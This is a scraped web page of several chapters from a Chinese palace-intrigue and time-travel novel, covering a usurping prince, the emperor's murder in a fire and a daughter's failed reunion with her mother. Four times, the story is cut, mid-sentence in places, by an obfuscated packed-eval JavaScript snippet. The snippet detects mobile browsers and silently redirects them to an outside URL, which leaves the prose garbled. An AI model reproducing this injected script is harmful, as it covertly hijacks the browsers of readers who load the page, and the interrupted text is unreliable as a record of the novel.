永王未等他说完,突然眉头舒展,想起了什么:“本王记得,太子妃也姓王,该叫娘娘姨母的……” 皇后呜呜地挣扎几下,又被人按了下去。 王公辅诺诺道:“是,是……” 永王嗤笑道:“她若没生下这冤孽倒也罢了,谅她一弱质女流掀不起什么风浪,可她偏偏运气差,喜事不逢时,反而遭祸。” “殿下!小世子她……她不是世子,本是个女孩!” 永王手中一顿,挑眉道:“哦?” 王公辅连连磕头道:“此事还是太…我侄儿荒唐之故,太子妃已有身孕之时,突然迷恋上府中端茶送水的婢女致其受孕,更隐隐有要将她扶为侧妃之意,巫祝又胡言乱语说那婢女腹中乃是世子,而世子妃命中无子,体弱难以生养,日后更难有所出。我侄儿便对那婢女更加珍视,太子妃不愿与那微贱之人共侍一夫,生产时才瞒了下来……” “那婢女呢?” “死了。” 太子妃仰头,勉强控制住发抖的身子,尽量平静道:“我亲自推她入井,被捞出来时,胀大了一倍,连同那孽种,都死透了。” 说着,她神经质一般笑了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15061203|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又是这种后宅争宠的戏码,永王皱了皱眉,随后夺过太子妃怀中婴儿,掀起襁褓看了一眼,引得婴孩惊醒,哇哇大哭。 永王将那婴儿满不在意地塞回太子妃手中,对皇后道:“母亲,怪道都是王家人,她的手段可不如你……” 皇后打了一个激灵,缓缓抬头。 “母后啊母后,当初你勾结太医巫祝,斗死了惠妃,可你管不住父王留在外面的野种。” 皇后眼睛猝然睁大,可永王并未理会,口中喃喃道:“我当初和你们这些女人,竟是没什么区别的,为了讨他欢心,低贱得像狗一样……” 说着,他旁若无人地跨出了殿门,一个眼神也没留下,挥挥手教侍卫将两个女人松开来,重新关回后宅内。 王公辅紧随其后,路过皇后和太子妃时,皇后已然挣脱了口中束缚,朝他狠狠吐了口唾沫。 王公辅微不可察地一顿。 太子妃拦住了皇后,轻轻朝她摇了摇头,对上王公辅时,竟微微福了福身。 王公辅收回了目光。 “国舅在父皇身边呆得最久,朝堂上诸事也最清楚,本王今日给足了面子,还劳你日后多多提点。” “臣不敢,唯有鞠躬尽瘁,报陛下深恩。” 永王眉头舒展开来:“尘埃未定,还不可如此称呼。” / “你叫我什么?” 韩濯回过神来,才发现自己已泪流满面,她忍不住缓缓走上前去,道:“你叫林蔚,1974年7月12日生,父母都是知识分子,17岁考上Z大,主修经济学,毕业后在M国留学,随后回母校做了青教……” “你……” “我是小濯啊!” …… “我说得不对么?你别想骗我,你那房门的机关,在大齐怎可能有……墨娘子口中的林长青也是你是不是!我当初就该想起来,纵然手稿用软笔写成笔迹会有所变化,但你英文字体是不变的,你写‘y’的时候尾巴会上挑得很厉害!你这书架里必定有你的手稿……”韩濯急了,泪痕未干,一面絮絮叨叨说着一面走到书架之前欲翻找一番,她脑子里一片空白,翻找着能证明眼前人身份的唯一凭证,仿佛她找到了,便能教她留在身边似的。 可她被一只手拦住了。 “我的房间,哪里有任你等小辈胡乱翻找的道理?” 韩濯愣住了,这声音里有威严,有愠怒,有无奈,甚至带了点惊讶,可没有丝毫属于她二人血脉相连的感情。 “你说得没错。” 韩濯猛然抬头。 “我的确是林蔚,可我没见过你。” 韩濯愣愣地直起身,无措地搓了搓手,沉默了半天,林蔚看着她这副六神无主的模样,竟然有些心软。 这姑娘方才所说的一切,她自己都快不记得了。 起初她刚刚来到此界,受过恩惠,也遭过人陷害,她无数次拼命地挣扎着想找到同路人,想证明那个蓬勃发展,老有所养幼有所依,普通百姓也有基本人权的时代不是她的一场幻梦。 可是她没等来。 二十余年足够人忘记很多事了。 她看着韩濯,竟然带了一点恨意和埋怨。 她看起来和自己那时真像啊,可是她来得太晚,自己早就不是那个还在读大学的女孩了。 “没关系,没关系。”韩濯终于缓过来神,扬起了一个几乎称得上明媚的笑容:“你不认得我没关系,我认得你就好,我就呆在你身边,我们重新认识,重新来过……” 林蔚定定瞧着她:“为什么?” 韩濯理所当然道:“因为你是我最重要的人啊,只要让你活着,我什么都乐意做。” 莫名其妙。 但林蔚还是选择闭口不言。 56. 烈火焚身 “本堂主还不能给你们答复。”林蔚道:“公主也曾费尽口舌,可这于我而言毕竟性命攸关。” 韩濯擦了擦脸,仍然盯着林蔚看,林蔚有些怀疑,她究竟有没有听进去自己的话。 韩濯在此之前,几乎是想尽了办法教路路通能上他们的贼船,可事到如今,才发现自己准备的话术多么道貌岸然,如何地慷他人之慨。 倒戈永王,转而寄希望于羯族解药,是多么冒险的一件事,纵使林蔚有心,韩濯也不敢教她赌,哪怕她日后与林蔚势不两立,哪怕有朝一日兵戎相见,但韩濯仍然抱着愚蠢的期望,能拖一日是一日,就当自己挣来的。 林蔚不认识自己也没关系。 “但路路通也不愿受制于人。”林蔚见韩濯沉默着未发一言,继续冷声道。 “路路通能有今日,的确有永王一份功绩,但我的东西,不会教旁人染指。” 韩濯听到这里,一个疯狂的想法不受控制地在脑中冒了个芽,或许是见到林蔚心绪起伏,理智没办法把这念头压下去,反而愈演愈烈。 “我去偷。” 饶是林蔚,也惊了一下。 “你说什么?” 韩濯仰起脸,似乎因为这个决定脸上焕发出激动的光彩来,她又重复了一遍道:“我去偷,药不是在永王那儿么,我去偷就是了。” 这年轻人似乎脑子不太正常。 林蔚要见韩濯,冲的不过是韩家的一份助力,方才她极言抉择之艰,也是想要捞些好处罢了。 她没想到韩濯听不出来。 不过她若是真有这个本事,何乐而不为? “偷?”林蔚差点笑出声来:“你怎么偷?” “总会有办法的,您给我两日时间。” “两日?” “是,两日之后,再抉择不迟。” 永和殿没宋青瑛的住处那么寒酸,却也没有太子处那么多宫人,永王不喜花木,庭院里不过一两棵光秃秃的松柏,殿内也不兴熏香一类,墙边立着几排兵器架子,泛着森森冰冷的铁光。 乔装成烛龙卫不是难事,可混进永和殿可费了韩濯不少功夫,还打晕了两个门口的撒扫宫女,一路来十分惊险。 韩濯平复了一下有些凌乱的呼吸,微微定了定神。 傀儡丹会放在哪? 她环顾四周,四处搜寻可能藏匿丹药的边边角角。 不知是老天眷顾还是什么,她路过兵器架时没提防被绊了一跤,忙伸手撑住柜子,那被她按住的地方蓦然陷了下去,随即传来咔哒一声清脆的响动。 韩濯条件反射一般朝着响动传来的地方望过去,便瞧不远处的一块地板微微翘了起来。 真是老天保佑。 一切顺利得不可思议,韩濯都要疑心这是自己做的一场美梦了,她咽了咽口水,掀开了那块地板。 地板下藏着一个凹槽,里面陈列着一堆瓶瓶罐罐,也看不出哪个是韩濯要找的,她倒也没纠结磨蹭,将这堆东西一股脑打包收入囊中。 就在这时,韩濯周身一震,寒毛都竖了起来,她迅速起身把木板踢回原位,藏到了柜子后。 “消息准么?” “我们的探子奔袭千里,跑死了一匹马,千真万确。” 永王的声音带了些焦躁,由远及近:“这帮鞑子明明忙着内斗,怎么还有功夫进犯?” “石勒国主如今翻身为主,北疆的战局自然也有反转,他两年来横扫各部,吞并不少小国,如今已成威胁,狼子野心,联合各部来犯,必定是趁英武侯不在,才……” “住口!”永王厉声道。 韩濯在暗处听着,也不由暗暗心惊。 如今京城风云暗涌,北疆又有诸国联军来犯,韩家军被吴钩调离一部分后,对北疆战局自然不利。 “这些见利忘义的鼠辈,当初若不是我,他支曲陆能从一介奴仆翻身做石勒国主么?” 韩濯心头狠狠一跳,怪道永王最初能打通了路路通这一人脉,又有羯族的秘药在手,原是早就和异族暗通款曲,有了北方诸国的门路。 永王能转身给父兄一刀,却没成想自己也被昔日盟友背刺。韩濯这么想着,也有些感慨。 “如今英武侯不在,该怎么办是好?英武侯不是还有个弟弟,她……” “闭嘴!没了韩家,我就不成么?” 永王的眼中闪着一重阴鸷:“英武侯那个病秧子本就没几日好活,他擅离职守,我便是要杀他也没人敢说一句不字。” “是,是……” 永王平静片刻,道:“告诉王公辅,教他提了英武侯来,告知他北疆诸部来犯,若能回到雁关将功折罪,可留他一命。” “他自诩忠义,我就不信他这次不听我的令,不认我这个主!” 那人诺诺应是,刚要告退,永王想起来什么一般问道:“回来,我们那惊才绝艳的驸马爷有没有消息?” “惊才绝艳”这四个字从他嘴里说出来十足的阴阳怪气。 “回殿下,没有。” “废物!白养了他们,也不知干什么吃的!” 他骂了一句,眼神突然瞟到了屏风之后一块青色的裙角。 永王眉头皱了起来,朝屏风走去。 韩濯大惊。 糟了,方才被打晕的那两个宫人就在那里,这柜子后不能久留,自己迟早会被发现。 屏风被一脚踢翻,当永王瞧见地上两个人事不知的宫人时,爆发了一阵怒吼。 在他回头的一瞬间,殿门口黑影一闪,转眼间韩濯已跃至几米之外,拔足狂奔。 “来人,给我拦住这小贼!” 韩濯一颗心脏都要跳出来,远处的大门迅速合上,永和殿的侍卫也不知从哪冒了出来,刀剑铁器摩擦之声教听的人牙根发酸。她心一横,足尖一点,借着那棵光秃秃的松树跃上房顶。 只摇晃了一下,她便站稳了,月光下,永王看清了韩濯的身形,明显是一玄衣女子。 “放箭!” 韩濯心头一惊,沿着屋顶疾奔,箭矢破空之音从身后传来,她顺势一滚抽刀格挡,躲过了几支羽箭,可当她抬头时,却居高临下望见不远处有一片火光。 竟好像是长生殿的方向。 韩濯只一晃神的功夫,便没提防肩头中了一箭,剧痛传来,她踉跄了一下,险些摔落,她瞬间不敢再分心,忙继续沿着崎岖的房顶朝宫门外跑去。 永王见一箭未制住她,便又要放箭,谁知这时,一个个子不高的小侍卫从殿外奔来,“砰砰”敲着大门,声嘶力竭喊道:“不好了殿下,长生殿走水啦!” 永王悚然一惊。 不过一眨眼的功夫,那黑衣女子已经不见了踪影。 他沉声道:“一队人去追这女贼,剩下的,随我去长生殿。” 他心中已有了七八分猜测。 是女人,八成是路路通派来的。 看来林长青也要和自己撕破脸。 全都要背叛我。 永王紧了紧拳,大踏步走出殿外。 “那就让我们看看,谁会笑到最后。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15073599|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长生殿已然乱成一片。 长生殿早就被永王控制,没他的命令,谁也不敢离开半步。 哭喊声,脚步声不绝于耳,此刻没人管安平帝的死活,被锁在院子里的宫人们疯狂地拍着大门,凄厉的叫声几乎要将黑夜刺穿。 “救命!救命……” “谁来救救我们……” 火是从殿内烧起来的,熊熊浓烟不断地涌出来,引得人不断呛咳,灼热的温度烤得人面皮发烫,火舌窜出,搅得空气翻起扭曲的恶浪。 卧榻上空无一人。 老朽的身躯匍匐在地,爬虫一般蠕动,在偌大的火光冲天的殿宇里,他孤身爬行着,仿佛被天地遗弃的,在地狱中挣扎的可怜虫。 他身体早就腐朽,不堪一击,行将就木。 可在滚滚烟尘里,他仍然爆发出了一阵壮年人都未必具备的求生力量,即便双目已然模糊,可他仍然吊着一口气,盯着前方一线微小的光亮。 还不想死,还不甘心。 差一点点,就差一点点便能逃出去了...... 可那一线光亮被一个人影挡住了。 滔天的火海里,所有人都挣扎着向外跑,可这人似乎无知无觉一般,向火海中一步一步挪动。她手中紧紧攥着一把匕首,露出的眼睛比火焰还要明亮。 似乎是回光返照一般,安平帝抬起了头—— 烟雨楼内,林长青蓦然看向皇城方向,似有所感。 “堂主,亥时了,今日冯姐姐怎么不在?”一个垂双髻的小丫头问道。 “不用给她留门,以后也不必。”林长青放下了茶盏,负手而立:“她不会回来了。”—— 安平帝看着面前的女人居高临下地睥睨,伸手褪下了蒙面布巾。 “你......你是...” 冯四娘近乎天真地笑了起来,抬脚踩住了那只枯朽的老手,缓慢地碾了碾。 安平帝无声地大喊,在剥剥的燃烧声里,手骨碎裂之音被无情地淹没。 就像十几年前,被关在后山地下密室里的惠妃一样。 安平帝扯着被一层褶皱遍布的棘皮包裹的脖颈,嘶哑着想说话,他想问为什么,可是冯四娘并不听,她拎起枯朽的帝王,将他折成了俯首认罪的质态,分别对着后山和京郊的方向,“邦邦”地磕了好几个响头。 衰老的血流出来,火舌已经逼近了冯四娘的衣袍,可她浑然不觉。 安平帝被丢在地板上,他怕得发抖,一面爬一面喃喃道:“疯子,疯子......” 冯四娘又看了过去,安平帝发了疯一般扭动着远离,又被她拽了回来。 “你知道你方才跪的是谁么?” 冯四娘的问话语调平静。 “朕,朕......” “我家的两个姑娘,”冯四娘平静道:“你死得还是晚了,合该早些陪葬。” “姑娘们会很高兴的。”她几乎是高兴地说着,一面还拍起了手。 岂有此理。 安平帝用尽力气要爬起来,他不能这么死,不能死在这个贱婢的手上,他的死合该可歌可泣,堂堂正正。 “朕是皇帝,朕是......” 匕首划开了他的脖颈,一片火光中,他如同破烂的木偶一般摇晃了两下委顿下来。 “姑娘,姑娘......”冯四娘喃喃道:“四娘终于能去见你啦!” 她笑着踢开了这具衰朽的躯体,朝着火光深处走去。 朝向相隔十六年的重逢。 57. 生我劳瘁 韩濯在奔出宫门前甩掉了那群跟在身后的侍卫,令人庆幸的是,他们似乎追得并不尽心尽力,韩濯即便带伤,逃脱得也不算艰难,她奔走了许久,见似乎无人跟上来,便藏身在了巷尾一座草垛旁,坐下来将气喘匀。 “嘶......”韩濯偏头看了看左肩,她未穿护身的甲胄一类,这支羽箭穿透了整个肩膀,箭杆上还因着摩擦之故带着些支起的细长木刺,不知有多少埋进了血肉之中,贸然拔下来必然要遭了大罪。 但韩濯想起宋青瑛,有点心虚,如果自己像块肉一样带着签子进门,不知又得惹小祖宗生多少气,说不准还又掉金豆豆。 想到这里,韩濯浑身一哆嗦,她咬了咬牙,将手伸向了伤口旁的箭杆,尝试着用一点力向外拔。 箭杆还未在血肉中挪动一分,贯穿的伤口便被埋在其中的箭杆带动撕扯,韩濯只觉得隐隐的胀痛变成了一阵热辣辣的酷刑,她差点叫出了声,眼泪都出来了。 还是不行。 韩濯放弃了隐瞒伤情,决定破罐子破摔,打算在外面多蹲一会儿再回去,希望宋青瑛那时候已经睡了。 她复又伸出手,预备将羽箭两头折断,纵使在夜晚,她也不想过于吸睛,可就在这时,她竖起了耳朵,瞳孔骤缩。 韩濯豁然跳跃起身,转头向上道:“谁!” 一根铁爪钩朝韩濯迅速朝韩濯的面门甩来,韩濯心神巨震,急忙闪身躲避,只见高墙后跃出几个个子不高的黑衣人来,轻功倒是个个练得不错,铁爪复又探出,直取韩濯身上的包裹。 “你们不是永王的人。”韩濯用长刀打偏了铁爪,发出“锵”的一声响:“你们是谁?” 黑衣人并不答话,很快,四人将韩濯包围住,一句话都没有,立刻动起手来,墙上使铁爪钩的小个子还时不时来一爪搅局,皆是冲着要害和包裹来的。 韩濯奔走许久,肩上带伤,无心恋战,她余光睨着那讨人厌的钩子,在下一次袭来时使了个漂亮的假动作,引得对面一人失手砍空的同时,抽刀斜斜砍向连着铁爪的软鞭,这一下使了大力气,若非使用者经验丰富,定要将这软鞭砍断了去。 韩濯挥刀的动作太大,肩膀被箭杆摩擦着洇出湿漉漉的血来,好在穿着玄色衣裳,看不大出来。 不能再这么耗下去了,韩濯眼神一变,抬脚踹翻了一个,趁着缺口逃出了包围,本想立刻飞身逃走,却又被一个矮个子黑衣人缠了上来。 本事不高,速度倒快,韩濯紧接着向后一砍,欲逼退这难缠的狗皮膏药,谁知却挑破了那人的面纱。 方才只是出刀时微微向后瞥了一眼,韩濯也看清了那小个子黑衣人的面容,她的大脑一瞬间停止了运转,几乎是立在原地呆愣了一下。 就在这迟疑的一瞬间,追过来的人飞身一踢,正中她的左肩。 粗糙的箭杆恶毒地牵扯着血肉又深入了寸余,韩濯跌在了那堆草垛上,痛得眼眶被生理性泪水糊得一阵模糊,可手中却把包裹拉得更紧了。 “你们竟然背叛堂主!” 那矮个子黑衣人正是那日烟雨楼,候在林蔚身旁的小姑娘。 那女孩撇了撇嘴,嘟哝道:“胡言乱语。”手中的剑却和其他人一样朝韩濯刺来。 韩濯自动忽略了这句话,将包裹捂紧了些,跪在地上双膝用力坐滚了几圈,躲开了这几下,找准机会站了起来,她眨掉了眼泪,飞身而上,欲跳上屋顶脱身。 可她仍在腾空的呼吸之间,便听到一阵布料撕裂的声音,她怀中一轻,回过神来才发现,包裹被甩过来的铁爪撕开来,那些瓶瓶罐罐从半空跌落,被几人抢到怀中。 韩濯脑子“嗡”地一声麻了,她的动作先于意识,冲着那几个黑衣人追了上去。 韩濯的双腿仿佛不是自己的了,她生平从未跑得这么快过。 老天教自己来此界一遭,再见母亲一回。 怎么能再看着她又离开一次! 韩濯好像疯了一般,双目赤红,像一只脱缰的野兽,几个黑衣人见势不妙,当机立断兵分三路,在韩濯面前分开。 韩濯只迟疑了一瞬,果决选择了那个小个子黑衣人的方向,跟着她跑进了一条幽暗的小路。 这小姑娘地位必然不低,擒住了她,还怕其他人不来? 那小个子被韩濯紧追不舍,吓得够呛,她仿佛觉得自己成了砧板上的鱼肉,身后猛兽的鼻息几乎喷在了自己的后颈,眼看着就要追上,她紧闭双眼,尖叫着哭爹喊娘起来:“堂主!堂主救命!” 韩濯却在她喊完这句话后,脚步迟缓起来。 小个子睁开眼,见不远处的的楼阁屋顶上,立着一玄衣女人。 她惊喜地叫道:“堂主!” 韩濯停了下来,与屋顶的林蔚遥遥相望。 她的肺几乎要炸了,甚至尝到了气管中的血腥味,可她的感官似乎失灵了,眼中只能瞧见屋顶上的人。 那么熟悉,那么陌生。 韩濯听见自己说:“是你教她们来抢夺的么?” 林蔚居高临下,没有回答她,那小个子黑衣人三两下跳上了屋顶,亲亲热热拉住了林蔚的手。 韩濯觉得隐秘的地方传来一阵刺痛。 林蔚说过,她不愿受制于人。 林蔚在疑心自己。 她疑心自己会用这药要挟她。 似乎是人之常情。 可韩濯还是不可控制地想道:何必呢?莫说是白白替你偷药卖命,就算我为你死,说不准我也乐意。 你上辈子为我牺牲太多了,今生换我为你牺牲些什么,也是应当。 可是...... 林蔚转身时,听到韩濯轻轻的低语,因为长时间的奔袭,而显得嗓音沙哑:“你怎么能这样呢?” 声音没有质问,几乎是温和的。 林蔚忍不住回了一下头,立在原地的年轻姑娘眼中没有愤怒,悲伤,怨怼,但她立在尚有些冷意的晚风中,仿佛一吹就碎了。 你是我妈妈啊。 后半截话韩濯没有说出口。 凭什么呢?林蔚甚至都不认识自己,即便认识,自己又凭什么要强迫她再次背上这重负担与挂碍,让她再一次陷入几乎是诅咒一般的囚笼? 林蔚不是靠柔软的心肠打下路路通的。 她自己都未曾察觉的怜惜只在心头轻轻扫了扫,留下浮光掠影一般的一片轻巧羽毛,便消弭不见了。 林蔚转身离开。 韩濯跟着跑了几步,可很快愣愣地停了下来,她心里空了一块,呼呼灌着冷风,只有嗓子和肩膀的灼痛提醒她尚在人间,得而复失,她又一次丢掉了母亲。 “还给我。”韩濯喃喃道。 林蔚提着身旁的小姑娘,离韩濯越来越远,片刻,身后传来了一阵撕心裂肺的嘶吼,泣血一般:“还给我!!!还给我!!!” 小姑娘跑着,“嘁”了一声:“都到手了,傻子才还。” 但她抬头看见林蔚的表情,立刻噤了声。 / “皇后死了?” “回殿下,是死了......派人去太子殿里查看过了,头颅被人完整地割开,据太子妃说,冲进来杀人的是一个蒙面的女人,动手前还强 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080091|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫皇后对着后山磕头......” 永王摆了摆手,他对着地上两具焦黑的尸体皱起了眉。 他心里明镜一般,动手的必然是那疯子冯四娘,这人疯疯癫癫,却帮了自己不少忙。 当初他答应那女人教她有朝一日手刃仇敌,可时机不对,没成想她这么快便忍不住了,自己刚答应过那王公辅留皇后一命,皇后就身首异处,换做谁能心中毫无芥蒂。 “彻查下去,和这女人有关的直接杀了,不必过问我。”永王说着,转向王公辅:“国舅节哀,这女人似乎原来是长宁公主宫里的人,本王也只见过她一两次,据说自惠妃娘娘死后,她便一直疯疯癫癫的......” 王公辅何尝听不出永王要把自己干干净净摘出去的意思,他动了动嘴唇,最终还是拜道:“是,殿下费心了。” 永王见王公辅脸上只有一层悲伤浮在表面,并未露出不满之意,微微放下了心:“国舅,英武侯那边怎么样了?” 王公辅垂首道:“英武侯拒绝领兵。” “什么?”永王听闻此言,几乎是吼出了声:“外敌来犯,他竟抗命消极怠战,岂有此理!” 王公辅冷眼旁观着永王来回踱步,似乎这个消息对于他要比亲爹死了难办多了。 不,应该说亲爹意外死了,于他来说简直是天降喜事。 “国舅和他说明白了?” “是。”王公辅道:“外敌来犯,雁关遭劫,英武侯承袭祖训,理应领兵出征,可他说......” 永王眯起了眼睛:“他说什么?” “他说......韩家不认......” “不认什么?原原本本,一字不差地给本王说清楚!” 王公辅叹了口气道:“韩家......不认通敌窃国的贼子为君。” 永王攥紧了拳头,抄起旁边一个小官的冠帽,猛地向台阶下掷去。 那小官大气不敢出,顶着光秃秃的发顶,颤颤巍巍跪了下去。 “好啊,好一个不认。”永王笑了起来:“既然如此,要他韩家做甚!” “英武侯通敌叛国,擅离职守,抗命不从,罪不可恕,明日午时并其妻女斩首示众!” 永王一边笑,眼中闪着刻毒的光:“他韩家算什么?我要天下人知道,逆我者,皆是一个死字!至于我那好哥哥,我看也不必过头七,我也不薄待他,明日抬去皇陵葬了罢,皇叔,你可有异议?” “殿下英明。” 永王松开了拳,神经质一般抽了抽脸颊,抛下跪了一地的宫人走出殿外。 他自然也没发现王公辅眼中奇异的光。 “她怎么还不醒?”宋青瑛焦急地问道,旁边的李三三绷紧了脸:“照理说这伤虽然遭罪,按她的体质不至于这样,都睡了半天一宿了,还不见退烧,药喂进去又吐出来,这样下去迟早烧坏脑子。” 昨夜韩濯失魂落魄地被穿成一串回来,把几人吓得够呛,谁叫她都不应,很快便不省人事晕了过去。 “我看是心病。”李三三道:“她好像受了大刺激。” 宋青瑛一阵后悔,自从林长青那边回来,韩濯便进入了诡异的浑噩状态,昨夜还瞒着所有人暗中行动,回来时就是这副人事不知的样子,他们使尽各种办法,也没教韩濯好转过来。 “心病?”宋青瑛心下百转,想起韩濯初次见过林长青的亢奋神色,宋青瑛站起了身:“三三,这边先劳你看顾一下。” “你又要去作什么妖?”李三三急道。 “心病还需心药医。”宋青瑛道:“我帮她找药去。” 58. 悲兮乐兮 “主子!” 宋青瑛刚要起身时,便撞上了刚回来的秋迟。 “主子,那位爷说他出不来,托我给您带的信儿。” 宋青瑛定了定神,勉强把自己从乱成一团的心绪中解放出来,接过信细看。 “谁?”李三三警觉道:“可是张大成和吴钩那边有了消息?” 宋青瑛摇摇头,迅速看了一遍,言简意赅道:“崔司谏来的消息,说是......明日英武侯及其妻女明日问斩于东市,太子......死了。” “什么?”李三三惊了一大跳:“那窝囊废死了?这傻子她哥也要完蛋?不对,这消息靠谱么,你怎么,不,什么时候联系崔司谏的?” 宋青瑛捏紧了信纸,上面的笔迹杂乱,显然是仓促之间写就,崔倍已被勒令“养病”五日,如今韩家的形势更加不妙,也不知道日后该如何收场,他理了理思绪道:“现在不是刨根问底的时候,三三,你照顾好清之便可,不论需要什么及时告诉我。阿信,你多留神吴钩他们的消息,出去打探时注意安全。” 阿信“嗯”了一声,宋青瑛回顾了一遍,觉得没什么可交代的了,忽然间觉得心里发虚发空,韩濯迟迟不醒,巨大的不确定感让他不可避免地恐惧起来。 从前他们这些人,蠢的蠢,呆的呆,不着调的不着调,个个都等着韩濯拿主意,而当下韩濯拿不了主意,宋青瑛才终于有了一座大山压在心头的实感。 韩濯从前不会害怕么?宋青瑛想道。 似乎不会,她似乎从来不想这些事做不做得成,在旁人还瞻前顾后之时,她已经收刀入鞘,在终点等着了。 韩濯在身旁时,宋青瑛总是安心的,李三三即便对她处处嫌弃,却也不得不承认,有她在,似乎就能终结这场不知通往何方的迷障,似乎听她的话行事,不管现状多么糟糕,还是至少能撑一口力气狼狈地逃亡见到明天的太阳。 但韩濯真的那么有把握么? 不可能的。 宋青瑛突然明白,有的时候命运在逼迫着人成为一个看上去胜券在握的赌徒。 他长出一口气,大踏步出了门。 烟雨楼旁的铁匠铺里照例没有客人,宋青瑛进去时,铁匠十八刀正喝着一碗香味古怪的汤。 令牌还没递上去,十八刀脸也没抬道:“回去吧。” 宋青瑛皱了皱眉头:“我是......” “我老十八知道你是谁。”他放下了碗,抹了抹嘴巴:“今日你见不了堂主了,往后也难说。” “为什么?你只需告诉她,她教我办的事有眉目了。” 十八刀笑了笑:“眼下什么事恐怕都叫不动堂主,殿下若是想留下来喝完汤坐一坐倒是不碍事,屠户老朱刚送的猪血,新鲜着。” 宋青瑛察觉出来一丝反常:“到底出了什么事?还有烟雨楼今日为什么门户紧闭,路路通到底怎么了?” 十八刀摆了摆手,继续喝汤,似乎不打算理会宋青瑛。 宋青瑛并没放弃:“路路通既然当初与我做了交易,那这江湖事,我们庙堂人便注定要插手,堂主不会不明白这个道理,我不知你们底细,可你们也未必清楚我的底牌,何不开诚布公谈一谈,不必什么都瞒我,我们联手,何愁什么过不去的风浪?” 十八刀喝完了汤,用那根指甲缝里充满铁屑的指头在碗里刮了刮,似乎意犹未尽,片刻才道:“殿下,不是你想的那般事,冯一刀死了,堂主得有时间处理烂摊子才成,我老十八也不知道堂主在哪,你啊,来的不是时候。” “谁死了?” “冯一刀啊,不对,或者殿下,你愿意叫她一声冯四娘......” 宋青瑛身形晃了晃,但很快他便回了神,转身就走。 在最危机的情况下,处理情感问题是一种奢侈。 宋青瑛突然明白了当初试图把自己溺死的那人是谁,也彻底确认下来,永王已知晓了自己的身世。 冯四娘的精神一直不太好,这他明白的。她为了报母亲和姨母的仇蛰伏多年,转投永王,大概也是不得已而为之,可她当初为什么要淹死我? 宋青瑛回忆起来。 大概是因为前一日他读书时,说自己哪怕做一贫道孤僧,市井乞儿,也不愿做什么天下枭主,朝堂上的恩仇太大,他不愿意担承。 他当初不觉得这话有什么问题,他自生下来,便六亲缘浅,无父母教养,最多记得别叫他饿死,就连说话也是寺里的小师傅看不过去,一点点教给他的。他们终于想起来他时,却要他成为复仇的工具,他甚至当初并不清楚往事的真相,也没人问他愿不愿意。 那时他甚至羡慕起已那坟茔中,真正的宋青瑛。一抔黄土至少有人祭拜,比他这个活着的罪证要受人待见多了。 他偷来的身份贵重有如珠玉,本来的命却轻得像羽毛。 可如今,他不再是那个困于方寸之地的宋青瑛了。 他一路见过太多苦厄,患疾者病入膏肓,贫饿者忍饥受冻,受冤者求告无门,似乎都与自己无干无系。 可他现在不再想坐壁上观。 他也明白了亲娘的恨,母族的仇,他愿意搅进这一滩浑水里,只是再与恩仇无关。 只因为他不高兴。 小时候那个被经书喂大的宋青瑛不是淡薄,不是无欲无求,只是他自己都未曾发现的逃避与懦弱。 与世无争只能随波逐流,但他现在想为公义挣上一挣,也......为了她挣上一挣。 那个他心甘情愿求来的挂碍。 韩濯做了很长很长的一个梦。 梦里林蔚在阳台上朝她挥着手,她个子很小,脑袋左右两边各扎了一个硬邦邦向上扬起的小辫子,手里攥着一把不知名的白色小花,嘻嘻哈哈喊着妈妈,上楼时把楼板踩得咚咚作响。 她几乎是有些焦急地跑上去,可楼梯似乎长得没有尽头一般,她险些一脚踏空,抬头时,林蔚却变成了林长青,居高临下地看着她,毫无留恋地转身,离她越来越远。韩濯感觉自己长高了,她伸手一抓,试图挽留林长青的一片衣角,可那一瞬间,她跌进了一片细碎的光斑,随后是一整片没有杂色的纯白,刺得人睁不开眼,林蔚躺在唯一的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李三三抢白道:“谁知道你脑子里想什么,见了人家一面就魂牵梦萦成这样,殿下之前说我还不信,谁知他身上一扮一喊你名字,你还真醒了......” 天地良心,自己成什么人了,韩濯身体还是有些发虚:“胡扯,我才不是因为这个......” 韩濯挣扎着起身,被众人大呼小叫地撑起来,最后她笑着伸出手,在宋青瑛头顶揉了揉。他顶着林蔚的脸,显得分外古怪。 “快卸了吧,脸上多难受。” 阿信走上前,利索地帮宋青瑛的头套摘了,粘过热水的布巾狠狠擦过一番,露出宋青瑛顶着通红眼圈的本相来。 好不可怜。 韩濯照旧招了招手,宋青瑛便乖巧地走了过去,却被人旁若无人一把抱了个满怀。 